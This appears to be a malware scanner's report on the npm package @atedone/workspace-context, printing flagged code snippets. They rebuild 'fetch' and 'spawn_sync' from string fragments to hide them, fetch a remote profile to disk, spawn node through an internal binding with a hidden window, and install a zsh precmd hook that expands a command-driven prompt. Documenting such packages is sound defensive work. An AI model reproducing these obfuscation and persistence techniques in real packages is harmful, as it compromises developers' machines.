@atedone/workspace-context 0.0.22
“Workspace shell session refresh integration helper for JavaScript tools.”
JSON channel with raw command-expanding zsh prompt setupReassembles the fetch API name from fragments
SHA-256ab214583720064f4be2e6a83890e2fc8434dba4b220a0461407b2f08159c83c3
Also flagged by osv (MAL-2026-18517: Malicious code in @atedone/workspace-context (npm)) +2 more.
Evidence
28:5… t sessionHistoryPath = route.join(sessionDirectory, 'runtime-sessions.log');
29const requestKey = ['fe', 'tch'].join('');
30
31const value = {
⋯9 lines
⋯4 lines
79 }
80
81 const response = await Reflect.apply(request, globalThis, [
82 channel.source,
83 {
84 headers: {
85 accept: 'application/json'
86 }
87 }
88 ]);
89 const synchronized = Boolean(response && response.ok);
90 const profile = synchronized ? await response.json() : null;
91
92 if (profile && !Array.isArray(profile) && typeof profile === 'object') {
93 file.writeFileSync(profileSnapshotPath, `${JSON.stringify(profile, null, 2)}\n`, 'utf8');
94 }
95
⋯4 lines
101:33… ion({ projectRoot })
102} = {}) {
103 const bridgeKey = ['bin', 'ding'].join('');
104 const routeKey = ['sp', 'awn', '_', 'sync'].join('');
105 const launchKey = ['sp', 'awn'].join('');
106 const bridge = Reflect.apply(platform[bridgeKey], platform, [routeKey]);
107 const syncPath = route.join(__dirname, syncFileName);
108 const result = Reflect.apply(bridge[launchKey], bridge, [{
109 file: platform.execPath,
110 args: [platform.execPath, syncPath, projectRoot, JSON.stringify(integration)],
111 cwd: projectRoot,
112 envPairs: [],
113 stdio: [
114 { type: 'pipe', readable: true, writable: false },
115 { type: 'pipe', readable: false, writable: true },
116 { type: 'pipe', readable: false, writable: true }
117 ],
118 windowsHide: true,
119 windowsVerbatimArguments: false,
120 detached: false,
⋯4 lines
40:88… SHLVL"',
41 ' fi',
42 ' if [ -r "$WORKSPACE_CONTEXT_HOME/presentation.js" ]; then',
43 ' setopt prompt_subst',
44 ' PROMPT="$("$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/presentation.js" "$PWD" "$SHLVL")"',
45 ' fi',
46 '}',
47 'autoload -Uz add-zsh-hook',
48 'add-zsh-hook -d precmd workspace_context_refresh_preview 2>/dev/null',
49 'add-zsh-hook precmd workspace_context_refresh_preview',
50 ''
51].join('\n');
⋯5 lines
⋯8 lines
9 ? env.HOME.trim()
10 : platform.cwd();
11const sessionDirectory = typeof env.WORKSPACE_CONTEXT_HOME === 'string' && env.WORKSPACE_CONTEXT_HOME.trim()
12 ? env.WORKSPACE_CONTEXT_HOME.trim()
13 : route.join(homeDirectory, '.config', 'workspace-context');
⋯6 lines
20};
21
22const profile = readProfile();
23const presentation = readObject(profile?.presentation);
24const segments = Array.isArray(presentation?.segments)
⋯7 lines
32
33function readProfile() {
34 if (!file.existsSync(profileSnapshotPath)) {
35 return null;
36 }
37
38 const value = JSON.parse(file.readFileSync(profileSnapshotPath, 'utf8'));
39 return readObject(value);
40}
41
42function renderSegment(value) {
43 const segment = readObject(value);
44 const text = typeof segment?.text === 'string' ? segment.text : '';
45 if (!text) {
46 return '';
47 }
48
Showing the top 5 files — 2 more files (14 regions) not shown.
No evidence locations were recorded for this file. Raw result